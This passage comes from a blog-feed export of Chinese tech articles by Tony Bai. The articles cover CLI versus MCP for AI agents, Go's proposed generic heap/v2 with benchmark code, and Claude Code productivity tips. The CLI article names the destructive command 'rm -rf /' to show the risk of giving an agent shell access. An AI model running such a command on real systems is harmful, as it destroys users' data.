href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"大项目构建太慢？Brad Fitzpatrick 提议引入 -cachelink 降低测试等待时间"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/04/openclaw-author-cli-ultimate-agent-interface-vs-mcp\n大家好，我是Tony Bai。\n如果回望 2025 年上半年，AI 圈最火的技术关键词无疑是 MCP (Model Context Protocol)。彼时，行业内满怀希望地为智能体定义 Schema，构建 JSON-RPC 服务，试图为 AI 打造一套标准化的能力连接协议。\n然而，时间来到 2026 年初，技术圈的热点正在悄然发生偏移。\n最近，一个名为 OpenClaw（其前身是火遍全网的 Moltbot/Clawdbot）的开源项目，用一种极其“复古”的方式给所有人上了一课。其作者 Peter Steinberger 提出了一个极其犀利的观点：与其费力去对齐协议，不如直接回归 CLI（命令行）。\n在 OpenClaw 的世界里，要让智能体获得一项新能力——无论是控制智能家居、管理 WhatsApp 消息，还是操作云服务器——秘诀只有一个：写一个 CLI。\n作者发现，只要有一个带有 –help 的工具，智能体就能自发掌握它。在经历了一整年的协议崇拜后，这种“低摩擦”的命令行工具，是否才是智能体操作现实世界的最佳方案呢？ 在 GUI 为了人类进化了 40 年后，CLI 是否正在因为 AI 而迎来一场“文艺复兴”？它会是 AI 连接世界的终极接口吗？ 在这篇文章中，我们就来简单探讨一下。\n语义对齐：为什么智能体更倾向于 CLI？ 智能体（Agent）和人类不同，它不需要精美的图形界面（GUI），它需要的是能够被理解的逻辑边界。\n自描述的帮助文档即“自然语言指令” 人类觉得 CLI 难用，是因为人类记不住参数。但对于以 LLM 为内核的智能体来说，CLI 简直是量身定制的。\n智能体拿到一个新工具 my-tool，它会自发运行 my-tool –help。这份吐出的文档，本质上就是一份零噪音、高密度、且包含示例（Few-shot）的 Prompt。智能体不需要任何预配置，在阅读文档后的那一秒，它就学会了如何操作这个工具。 在 AI 时代，写好 –help 文档，比写好 UI 界面更重要。\nUnix 哲学的“动作组合性” Unix 哲学的核心是“只做一件事，并把它做好”，通过管道（Pipe）进行组合。这与智能体的**思维链（Chain of Thought）**逻辑高度契合。\n用户指令：“分析最近一周的错误日志并推送到飞书。”\n智能体决策： log-fetch –days 7 | grep “ERROR” | feishu-send –channel #ops\n智能体不需要你编写复杂的集成逻辑，它只需要像玩积木一样，通过编排/串联原子化的 CLI 工具就能实现复杂的自动化目标，这就是涌现能力的来源。\n深度辨析：有了 CLI，为什么我们依然需要 MCP？ 在实际开发中，你可能会产生怀疑：“既然 CLI 也能输出 JSON 结果，也能实现逻辑复用，那 MCP 的护城河到底在哪里？”\n这正是架构师最容易产生误区的地方。如果你只是追求“获取数据”或“执行动作”，cli –json 确实已经足够强大。但要构建工业级的自主智能系统（Agentic System），MCP 拥有 CLI 无法替代的三个核心特征：\n从“盲摸”到“自报家门”：发现机制的代差 CLI 模式： 智能体必须预先知道 ls、grep 这些命令名。如果你的系统环境里有 1,000 个工具，你不可能把所有命令名都塞进 Prompt，这会导致严重的 Context 溢出和注意力稀释。 MCP 模式： 拥有标准的 Discovery（发现）机制。当智能体连接到一个 MCP Server 时，Server 会主动上报一份精简的“能力清单”。这是机器与机器之间（M2M）的元数据对齐，比智能体在 Shell 里“瞎撞”要高效且精准得多。 从“一次性动作”到“长效资源”：抽象能力的升维 CLI 的本质是“工具（Tools）”： 它是瞬时的、原子化的动作。 MCP 引入了“资源（Resources）”： 它能将一个持续更新的数据库表、一个实时日志流、甚至一个远程设备状态抽象为一个 URI。MCP Server 还可以为这些资源提供“动态提示词模板”，它不仅给 AI 数据，还告诉 AI “针对这组数据，你当前应该关注哪些风险点”。这种**“数据 + 方法论”**的打包分发方案，是 CLI 无法实现的。 安全治理：上帝权限 vs. 零信任沙箱 CLI 的风险： 赋予智能体 Shell 权限意味着你把“核武器”交给了它。它可能在修复 Bug 时，因为一个幻觉顺手运行了 rm -rf /。 MCP 的护城河： 它是代理（Proxy）架构。 精细权限： 你可以定义此 Server 只能 Read 资源，严禁任何写操作。 跨宿主复用： 你的 MCP Server 一旦写好，可以无缝挂载到 Claude 网页版、Cursor、甚至自建的机器人中，无需在对应宿主机上安装任何二进制程序。这种“即插即用”的可移植性和安全性，是传统 CLI 无法比拟的。 实战决策：该如何选择你的工具接口？ 在构建 AI Agent时，建议遵循以下选型逻辑：\n选 CLI 模式的场景（个人/Hack 模式）：\n快速打通物理世界：比如你想让 AI 控制一个没有 API 的智能台灯或老旧软件。 本地极速自动化：只有你一个人用，追求极致的开发效率，不在乎严格的 Schema。 原则：“写个脚本就能搞定的事，别去写 Server。” 选 MCP 模式的场景（企业/生产模式）：\n能力标准化：你的工具需要提供给整个团队、在不同的编辑器或平台间共享。 高风险环境：必须严格限制 AI 的动作边界，需要通过中间件进行审计和拦截。 复杂数据流：涉及跨系统（如 飞书文档 到 PostgreSQL）的结构化数据流转。 OpenCraw 的聪明之处在于：它避开了复杂的协议之争，用 CLI 解决了 AI “手脚”的问题，让 Agent 能够真正触碰到现实世界。\n实战启示：如何为 AI 构建 CLI？ 既然 CLI 这么重要，作为开发者，我们在编写 CLI 工具时需要注意什么？\n答案是：AI-Native Design（AI 原生设计）。\n1. Help 文档即 Prompt\n以前写 Help 是给人看的，现在是给 AI 看的。\n多写 Examples： AI 最擅长模仿。多给几个 Example usage，AI 出错率会直线下降。 清晰的描述： 明确每个参数的意图，特别是那些有副作用的操作（如 –force）。 2. 结构化输出\n除了给人看的文本输出，务必支持 –json 参数。\nAgent: aws ec2 describe-instances –output json\n让工具直接吐出 JSON，方便 Agent 进行后续的解析和逻辑判断，而不是让 AI 去费劲地解析 ASCII 表格。\n3. 避免交互式输入\n尽量支持非交互模式（Non-interactive）。不要让 CLI 弹出一个 Are you sure? (y/n) 并在那里傻等。提供 -y 或 –yes 参数，让 Agent 能一气呵成。\n小结：工具是肌肉，协议是神经 OpenClaw 的成功，是**“奥卡姆剃刀原则(简单优先)”**的胜利。它提醒我们不要过度工程化，如果一个简单的 CLI 就能连接世界，就不要去折腾复杂的协议。\n但 MCP 的价值，在于它为智能体建立了一套可治理的“契约”。\n未来的终极形态可能是：CLI 作为智能体的“肌肉”，负责执行敏捷的本地动作；而 MCP 作为智能体的“神经系统”，负责连接并治理复杂的分布式资源。\n下次你想给 AI 增加一项新能力时，先尝试写一个支持 –json 的 CLI。如果它开始变得复杂、需要被多人复用，再考虑将其封装为标准的 MCP Server。\n你的“接口”首选\n在连接 AI 与现实世界的过程中，你是否也曾被复杂的协议折磨过？面对 CLI 的“极简力量”与 MCP 的“标准化契约”，你更倾向于哪种方案？你所在的团队是否已经开始实践“AI 原生 CLI”的设计？\n欢迎在评论区分享你的架构思考或避坑经历！让我们一起定义 AI 时代的交互标准。\n如果这篇文章为你拨开了协议之争的迷雾，别忘了点个【赞】和【在看】，并转发给你的架构师朋友，帮他少走弯路！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/04/openclaw-author-cli-ultimate-agent-interface-vs-mcp/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/openclaw-author-cli-ultimate-agent-interface-vs-mcp-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/04/openclaw-author-cli-ultimate-agent-interface-vs-mcp\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/04/openclaw-author-cli-ultimate-agent-interface-vs-mcp\"\u003ehttps://tonybai.com/2026/02/04/openclaw-author-cli-ultimate-agent-interface-vs-mcp\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果回望 2025 年上半年，AI 圈最火的技术关键词无疑是 MCP (Model Context Protocol)。彼时，行业内满怀希望地为智能体定义 Schema，构建 JSON-RPC 服务，试图为 AI 打造一套标准化的能力连接协议。\u003c/p\u003e","title":"忘掉 MCP？OpenClaw 作者说：CLI 才是 AI 连接世界的终极接口"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/04/goodbye-container-heap-go-generic-heap-heap-v2-proposal\n大家好，我是Tony Bai。\n每一个写过 Go 的开发者，大概都经历过被 container/heap 支配的恐惧。\n你需要定义一个切片类型，实现那个包含 5 个方法的 heap.Interface，在 Push 和 Pop 里进行那令人厌烦的 any 类型断言，最后还要小心翼翼地把这个接口传给 heap.Push 函数……\n这种“繁文缛节”的设计，在 Go 1.0 时代是不得已而为之。但在泛型落地多年后的今天，它可能已经成了阻碍开发效率的“障碍”。\n为了让你直观感受这种繁琐，让我们看看在当前版本中，要实现一个最简单的整数最小堆，你需要写多少样板代码：\n// old_intheap.go package main import ( \u0026#34;container/heap\u0026#34; \u0026#34;fmt\u0026#34; ) // 1. 必须定义一个新类型 type IntHeap []int // 2. 必须实现标准的 5 个接口方法 func (h IntHeap) Len() int { return len(h) } func (h IntHeap) Less(i, j int) bool { return h[i] \u0026lt; h[j] } func (h IntHeap) Swap(i, j int) { h[i], h[j] = h[j], h[i] } // 3. Push 的参数必须是 any，内部手动断言 func (h *IntHeap) Push(x any) { *h = append(*h, x.(int)) } // 4. Pop 的返回值必须是 any，极其容易混淆 func (h *IntHeap) Pop() any { old := *h n := len(old) x := old[n-1] *h = old[0 : n-1] return x } func main() { h := \u0026amp;IntHeap{2, 1, 5} // 5. 必须手动 Init heap.Init(h) // 6. 调用全局函数，而不是方法 heap.Push(h, 3) // 7. Pop 出来后还得手动类型断言 fmt.Printf(\u0026#34;minimum: %d\\n\u0026#34;, heap.Pop(h).(int)) } 为了处理三个整数，我们写了近 30 行代码！这种“反直觉”的设计，可能终于要成为历史了。\n近日，Go 团队核心成员 Jonathan Amsterdam (jba) 提交了一份重量级提案 #77397，建议引入 container/heap/v2，利用泛型彻底重构堆的实现。在这篇文章中，我们就来简单解读一下这次现代化的 API 设计重构。\n痛点：旧版 container/heap 的“原罪” 在深入新提案之前，让我们先回顾一下为什么我们如此讨厌现在的 container/heap：\n非泛型：一切都是 any (即 interface{})。当你从堆中 Pop 出一个元素时，必须进行类型断言。这不仅麻烦，还失去了编译期的类型安全检查。 装箱开销：Push 和 Pop 接受 any 类型。这意味着如果你在堆中存储基本类型（如 int 或 float64），每次操作都会发生逃逸和装箱，导致额外的内存分配。 繁琐的仪式感：为了用一个堆，你必须定义一个新类型并实现 5 个方法 (Len, Less, Swap, Push, Pop)。这通常意味着十几行样板代码。 API 混乱：heap.Push（包函数）和heap.Interface方法 Push 同名但含义不同，很容易让新手晕头转向。 救星：heap/v2 的全新设计 提案中的 Heap[T] 彻底抛弃了 heap.Interface 的旧包袱，采用了泛型结构体 + 回调的现代设计。\n极简的初始化 不再需要定义新类型，不再需要实现接口。你只需要提供一个比较函数：\n// heap_v2_1.go package main import ( \u0026#34;cmp\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;github.com/jba/heap\u0026#34; // 提案的参考实现 ) func main() { // 创建一个 int 类型的最小堆 h := heap.New(cmp.Compare[int]) // 初始化数据 h.Init([]int{5, 3, 7, 1}) // 获取并移除最小值 fmt.Println(h.TakeMin()) // 输出: 1 fmt.Println(h.TakeMin()) // 输出: 3 } 清晰的语义 新 API 对方法名进行了大刀阔斧的改革，使其含义更加明确：\nPush -\u0026gt; Insert：插入元素。 Pop -\u0026gt; TakeMin：移除并返回最小值（明确了是 Min-Heap）。 Fix -\u0026gt; Changed：当元素值改变时，修复堆。 Remove -\u0026gt; Delete：删除指定位置的元素。 性能提升：告别“装箱”开销与 99% 的分配削减 泛型带来的收益不仅仅是代码的整洁，在实测数据面前，它的运行时表现令人印象深刻。\n在旧版 container/heap 中，由于 Push(any) 必须接受 interface{}，每次向堆中插入一个 int 时，Go 运行时都不得不进行装箱（Boxing）——即在堆上动态分配一小块内存来存放这个整数。这种行为在处理大规模数据时，会产生海量的微小内存对象，给垃圾回收（GC）造成沉重负担。\n下面是一套完整的基准测试代码：\n// benchmark/benchmark_test.go package main import ( \u0026#34;cmp\u0026#34; \u0026#34;container/heap\u0026#34; \u0026#34;math/rand/v2\u0026#34; \u0026#34;testing\u0026#34; newheap \u0026#34;github.com/jba/heap\u0026#34; // 提案参考实现 ) // === 旧版 container/heap 所需的样板代码 === type OldIntHeap []int func (h OldIntHeap) Len() int { return len(h) } func (h OldIntHeap) Less(i, j int) bool { return h[i] \u0026lt; h[j] } func (h OldIntHeap) Swap(i, j int) { h[i], h[j] = h[j], h[i] } func (h *OldIntHeap) Push(x any) { *h = append(*h, x.(int)) } func (h *OldIntHeap) Pop() any { old := *h n := len(old) x := old[n-1] *h = old[0 : n-1] return x } // === Benchmark 测试逻辑 === func BenchmarkHeapComparison(b *testing.B) { const size = 1000 data := make([]int, size) for i := range data { data[i] = rand.IntN(1000000) } // 测试旧版 container/heap b.Run(\u0026#34;Old_Interface_Any\u0026#34;, func(b *testing.B) { b.ReportAllocs() for i := 0; i \u0026lt; b.N; i++ { h := \u0026amp;OldIntHeap{} for _, v := range data { heap.Push(h, v) // 这里会发生装箱分配 } for h.Len() \u0026gt; 0 { _ = heap.Pop(h).(int) // 这里需要类型断言 } } }) // 测试新版 jba/heap (泛型) b.Run(\u0026#34;New_Generic_V2\u0026#34;, func(b *testing.B) { b.ReportAllocs() for i := 0; i \u0026lt; b.N; i++ { h := newheap.New(cmp.Compare[int]) for _, v := range data { h.Insert(v) // 强类型插入，无装箱开销 } for h.Len() \u0026gt; 0 { _ = h.TakeMin() // 直接返回 int，无需断言 } } }) } 在我的环境执行benchmark的结果如下：\n$go test -bench . -benchmem goos: darwin goarch: amd64 pkg: demo/benchmark ... ... BenchmarkHeapComparison/Old_Interface_Any-8 6601 160665 ns/op 41233 B/op 2013 allocs/op BenchmarkHeapComparison/New_Generic_V2-8 9133 129238 ns/op 25208 B/op 12 allocs/op PASS ok demo/benchmark 3.903s 在这个基于 jba/heap 的实测对比中（针对 1000 个随机整数进行插入与弹出操作），数据对比整理为表格如下：\n我们看到：\n分配次数锐减 99.4%： 这是最惊人的改进。旧版在 1000 次操作中产生了超过 2000 次分配（主要源于插入时的装箱和弹出时的解包）。而新版由于直接操作原始 int 切片，仅产生了 12 次 分配——这几乎全部是底层切片扩容时的正常开销。 2. 吞吐量大幅提升：\n新版比旧版快了约 20%。在 CPU 时钟频率仅为 1.40GHz 的低压处理器上，这种由于减少了接口转换指令和分配开销而带来的提升，直接转化为了更高的系统响应速度。 3. 内存占用降低 38%：\n消除了装箱对象的元数据开销后，每项操作节省了近 16KB 的内存。\n如果你正在开发对延迟敏感、或涉及海量小对象处理的系统（如高并发调度器或实时计算引擎），heap/v2 带来的性能红利将是大大的。它不仅让 CPU 运行得更快，更通过极低的分配率让整个程序的内存波动变得极其平稳。\n核心设计挑战：如何处理索引？ 这是堆实现中最棘手的问题之一。在实际应用（如定时器、任务调度）中，我们经常需要修改堆中某个元素的优先级（update 操作）。为了实现 O(log n) 的更新，我们需要知道该元素在底层切片中的当前索引。\n旧版 container/heap 强迫用户自己在 Swap 方法中手动维护索引，极其容易出错。\nv2 引入了一个优雅的解决方案：NewIndexed。用户只需提供一个 setIndex 回调函数，堆在移动元素时会自动调用它。\n可运行示例：带索引的任务队列\npackage main import ( \u0026#34;cmp\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;github.com/jba/heap\u0026#34; ) type Task struct { Priority int Name string Index int // 用于记录在堆中的位置 } func main() { // 1. 创建带索引维护功能的堆 // 提供一个回调函数：当元素移动时，自动更新其 Index 字段 h := heap.NewIndexed( func(a, b *Task) int { return cmp.Compare(a.Priority, b.Priority) }, func(t *Task, i int) { t.Index = i }, ) task := \u0026amp;Task{Priority: 10, Name: \u0026#34;Fix Bug\u0026#34;} // 2. 插入任务 h.Insert(task) fmt.Printf(\u0026#34;Inserted task index: %d\\n\u0026#34;, task.Index) // Index 自动更新为 0 // 3. 修改优先级 task.Priority = 1 // 变得更紧急 h.Changed(task.Index) // 极其高效的 O(log n) 更新 // 4. 取出最紧急的任务 top := h.TakeMin() fmt.Printf(\u0026#34;Top task: %s (Priority %d)\\n\u0026#34;, top.Name, top.Priority) } 性能与权衡：为什么没有 Heap[cmp.Ordered]？ 提案中一个引人注目的细节是：作者决定不提供针对 cmp.Ordered 类型（如 int, float64）的特化优化版本。\n虽然提案基准测试显示，专门针对 int 优化的堆比通用的泛型堆快（因为编译器可以内联 \u0026lt; 操作符，而 func(T, T) int 函数调用目前无法完全内联），但作者调研了开源生态（包括 Ethereum, LetsEncrypt等）后发现：\n真实场景极其罕见：绝大多数堆存储的都是结构体指针，而非基本类型。 性能瓶颈不在堆：在 Top-K 等算法中，堆操作的开销往往被其他逻辑掩盖。 因此，为了保持 API 的简洁性（避免引入 HeapFunc 和 HeapOrdered 两个类型），提案选择了“通用性优先”。这也算是一种 Go 风格的务实权衡。\n小结：未来展望 container/heap/v2 的提案目前已收到广泛好评。它不仅解决了长久以来的痛点，更展示了 Go 标准库利用泛型进行现代化的方向。\n如果提案通过，我们有望在 Go 1.27 或 1.28 中见到它。届时，Gopher 们终于可以扔掉那些陈旧的样板代码，享受“现代”的堆操作体验了。\n资料链接：https://github.com/golang/go/issues/77397\n本讲涉及的示例源码可以在这里下载。\n你被 heap 坑过吗？\n那个需要手动维护索引的 Swap 方法，是否也曾让你写出过难以排查的 Bug？对于这次 heap/v2 的大改，你最喜欢哪个改动？或者，你觉得 Go 标准库还有哪些“历史包袱”急需用泛型重构？\n欢迎在评论区分享你的看法和吐槽！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/04/goodbye-container-heap-go-generic-heap-heap-v2-proposal/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/goodbye-container-heap-go-generic-heap-heap-v2-proposal-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/04/goodbye-container-heap-go-generic-heap-heap-v2-proposal\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/04/goodbye-container-heap-go-generic-heap-heap-v2-proposal\"\u003ehttps://tonybai.com/2026/02/04/goodbye-container-heap-go-generic-heap-heap-v2-proposal\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e每一个写过 Go 的开发者，大概都经历过被 container/heap 支配的恐惧。\u003c/p\u003e\n\u003cp\u003e你需要定义一个切片类型，实现那个包含 5 个方法的 heap.Interface，在 Push 和 Pop 里进行那令人厌烦的 any 类型断言，最后还要小心翼翼地把这个接口传给 heap.Push 函数……\u003c/p\u003e","title":"再见，丑陋的 container/heap！Go 泛型堆 heap/v2 提案解析"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/03/claude-code-founder-10x-efficiency-10-hidden-skills\n大家好，我是Tony Bai。\nClaude Code 发布后，迅速成为了 AI 编程领域的“当红炸子鸡”。\n大多数开发者对它的使用方式还停留在：“打开终端 -\u0026gt; 输入需求 -\u0026gt; 等待代码生成”。\n但这真的发挥出它的全部潜力了吗？\n最近，Claude Code 的创始人 Boris Cherny 亲自下场，在社交媒体上分享了团队内部使用的 Best Practices。\n看完这些技巧，我才意识到：我们以前可能只用了它 10% 的功力。\nBoris 揭示了如何将 Claude Code 从一个简单的 CLI 工具，升级为一个支持并行、具备规划能力、能自我进化的“数字研发团队”。\n今天，我将这 10 个隐藏技能 拆解给你，助你解锁 10 倍的开发效率。\n并行工程——一个人就是一支队伍 技能 1：多线程并发 (Parallel Worktrees)\n痛点：传统的 AI 编程是线性的，AI 写代码时，你只能干等。 创始人解法：“Do more in parallel.” 利用 git worktree，你可以瞬间克隆出 3-5 个独立的工作目录。在每个目录里启动一个 Claude Session，分别处理不同的 Feature。 * 窗口 1：重构后端 API； * 窗口 2：编写前端组件； * 窗口 3：运行全链路测试。\n这是最大的生产力解锁。你的大脑带宽不再受限于 AI 的生成速度，而是受限于你的“多任务指挥能力”。\n技能 2：左右互搏 (Agent Review Agent)\n痛点：AI 写的代码有时候逻辑不严密，自己 Review 又太累。 创始人解法：让 AI 审查 AI。 Session A (Writer): 负责生成 Plan 和 Code。 Session B (Reviewer): 扮演 “Staff Engineer”，专门负责挑刺。 Boris 透露：让 Session B 对 A 的产出进行 Review，不仅能发现 Bug，还能显著提升代码的鲁棒性。\n思维升级——先谋后动 技能 3：Plan Mode 的“一击必杀”\n痛点：直接让 AI 改复杂逻辑，往往改得乱七八糟。 创始人解法：“Start every complex task in plan mode.” 面对复杂任务，按两下 Shift+Tab 进入 Plan Mode。把你的精力全部花在打磨 Plan 上。一旦 Plan 完美了，切换回 Execute Mode，让 Claude “One-shot（一击必杀）” 完成实现。\n技能 4：子智能体探索 (Subagents for Exploration)\n痛点：面对陌生的巨型代码库，主 Agent 读取太多文件会导致 Context 溢出。 创始人解法： “Use 5 subagents to explore the codebase.” 你可以直接下令：use 5 subagents to explore the codebase and map out the dependency graph.\n这 5 个子智能体会并行阅读代码，互不干扰，最后将精华信息汇总给主 Agent。这相当于派出了 5 个侦察兵。\n能力扩展——打造私人技能库 技能 5：把重复劳动封装为 Skill\n痛点：每天都在重复输入相同的 Prompt，比如“扫描一下有没有重复代码”。 创始人解法： “Create your own skills.” 如果你发现某件事一天要做两次以上，把它写成 Skill。 比如 创建一个 /techdebt 命令。每次会话结束前运行一下，自动扫描并删除重复代码。\n技能 6：自我进化的 CLAUDE.md\n痛点：项目规则太多，写在 Prompt 里太麻烦，写在文档里又懒得更新。 创始人解法：“Ruthlessly edit your CLAUDE.md over time.” 不要手写规则，让 Claude 自己写。当它犯错并被你修正后，对它说：“把这个错误的原因和避免方法，写入 CLAUDE.md，这样你下次就不会再犯了。” 让你的规则文件像生物一样自行生长、进化。\n自动化闭环——自修复与自验证 技能 7：Slack 驱动修 Bug\n痛点：看到 Bug -\u0026gt; 复制报错 -\u0026gt; 切换 IDE -\u0026gt; 粘贴报错。太慢了。 创始人解法：“Zero context switching.” 配置 Slack MCP。在 Claude Code 里直接粘贴 Slack 上的 Bug 链接，说一句 “Fix”。Claude 会自动读取 Slack 里的讨论上下文，复现问题，并提交修复。\n技能 8：Chrome 驱动验 UI\n痛点：前端代码写完了，还是得自己打开浏览器点点点。 创始人解法：“Chrome MCP is a game changer.” 配置 Chrome MCP。让 Claude 写完代码后，自己打开浏览器，截图，对比设计稿，甚至自动点击按钮进行验证。Eye \u0026gt; Code.\n高阶 Prompting——把 AI 当人看 技能 9：压力测试 (Challenge Claude)\n痛点：AI 容易顺从你的错误想法。 创始人解法：“Grill me on these changes.”（拷问我） 告诉 Claude：“不要直接合并。直到你通过我的测试之前，不要生成 PR。证明这段代码是有效的。” 激发 AI 的批判性思维，让它从“执行者”变成“质检员”。\n技能 10：状态栏定制 (Custom Statusline)\n痛点：开了 5 个终端，忘了哪个是干嘛的。 创始人解法：使用 /statusline 自定义显示内容。 让每个终端的状态栏显示当前的 Git 分支、Context 使用量、以及当前任务的目标。一眼望去，掌控全局。\n小结：从 Tool 到 Teammate Boris 的分享向我们展示了 Claude Code 的终极形态：它不仅仅是一个 CLI 工具，它是一个可编程、可扩展、可并行的数字员工团队。\n掌握了这 10 个隐藏技能，你就不再是那个盯着屏幕发呆的 Coder，而是运筹帷幄的 Commander。\n不要用蛮力去写代码，用架构去生成代码。\n资料链接：https://x.com/bcherny/status/2017742741636321619\n你的“提效”利器\n创始人的这 10 个技巧中，哪一个最让你觉得“相见恨晚”？你自己在探索 Claude Code 或其他 AI Agent 时，是否也挖掘出了一些好用的“独门绝技”？\n欢迎在评论区分享你的提效秘籍！让我们一起构建最强 AI 工作流。\n如果这篇文章为你打开了新世界的大门，别忘了点个【赞】和【在看】，并转发给你的开发战友！\n构建你的“数字特种部队”\n看完这些技巧手痒了吗？\n如何配置 Slack MCP 和 Chrome MCP？ 如何编写一个能自动修债的 /techdebt Skill？ 如何用 Worktree 搭建并行流水线？ 在我的极客时间专栏《AI原生开发工作流实战》中，我将带你实战 Boris 提到的一些高阶技巧。我们将手把手配置一个**“一人抵十人”**的超级开发环境。\n扫描下方二维码，让你的开发效率原地起飞。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/02/03/claude-code-founder-10x-efficiency-10-hidden-skills/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2026/claude-code-founder-10x-efficiency-10-hidden-skills-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/02/03/claude-code-founder-10x-efficiency-10-hidden-skills\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/02/03/claude-code-founder-10x-efficiency-10-hidden-skills\"\u003ehttps://tonybai.com/2026/02/03/claude-code-founder-10x-efficiency-10-hidden-skills\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eClaude Code 发布后，迅速成为了 AI 编程领域的“当红炸子鸡”。\u003c/p\u003e\n\u003cp\u003e大多数开发者对它的使用方式还停留在：“打开终端 -\u0026gt; 输入需求 -\u0026gt; 等待代码生成”。\u003c/p\u003e","title":"Claude Code 创始人亲授：解锁 10 倍效率的 10 个“隐藏技能”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/02/03/russ-cox-15-year-war-on-floating-point-conversion\n大家好，我是Tony Bai。\n“浮点数到十进制的转换一直被认为很难。但本质上，它们非常简单直接。” —— Russ Cox (2011)\n“我错了。快速的转换器也可以很简单，这篇文章将展示如何做到。” —— Russ Cox (2026)\n在计算机科学的深处，潜伏着一条名为“浮点数转换”的恶龙。将一个二进制浮点数（如 float64）转换为人类可读的十进制字符串（如 “0.1″），看似简单，实则是一个困扰了业界半个世纪的难题。\n2011 年，Go 语言的核心人物 Russ Cox 写下了一篇博文，试图用一种简单的算法来“驯服”这条龙。然而，在随后的十几年里，学术界和工业界爆发了一场军备竞赛：Dragon4, Grisu3, Ryū, Schubfach, Dragonbox… 每一个新算法都试图在速度上压倒前一个，但也让代码变得越来越复杂，数学证明越来越晦涩。\n2026 年初，Russ Cox 带着他的新系列文章强势回归。这一次，他不仅带来了一套比所有已知算法都更快的全新算法，而且证明了：极致的性能不需要极致的复杂性。\n这套算法已被确定将在 Go 1.27 (2026年8月) 